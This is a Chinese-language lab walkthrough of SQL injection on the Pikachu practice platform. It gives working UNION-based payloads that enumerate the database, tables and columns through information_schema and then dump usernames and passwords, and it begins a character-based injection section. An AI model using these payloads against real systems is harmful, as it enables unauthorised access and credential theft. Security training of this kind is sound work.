一、 数字型注入
1.首先发现界面只有一个下拉框和提交框,尝试选择不同下拉框中的选项,发现返回不同的值,但是url并无任何变化,初步推断出使用post传输并且后台语句可能为select xxx,xxx from xxx where id=1-6。
2.找列数,id=3 order by n#,当n>2时返回错误,等于2时返回正确,说明select语句查询结果有2列
3.爆库,id=3 union select database(),2#,得到数据库名叫pikachu
4.爆表,id=3 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#,返回五个表名
5.爆列,id=1 union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’#,返回若干列名
6.知道列名后就该进一步获取数据,id=1 union select username,password from users#,此语句返回了用户名和密码,当然还阔以获取其他列的信息
二、字符型注入
1.随意输入字符进去,得到url,包含一些信息,证明采取的是get传输,估计后台sql语句为select xxx from xxx where param =‘input’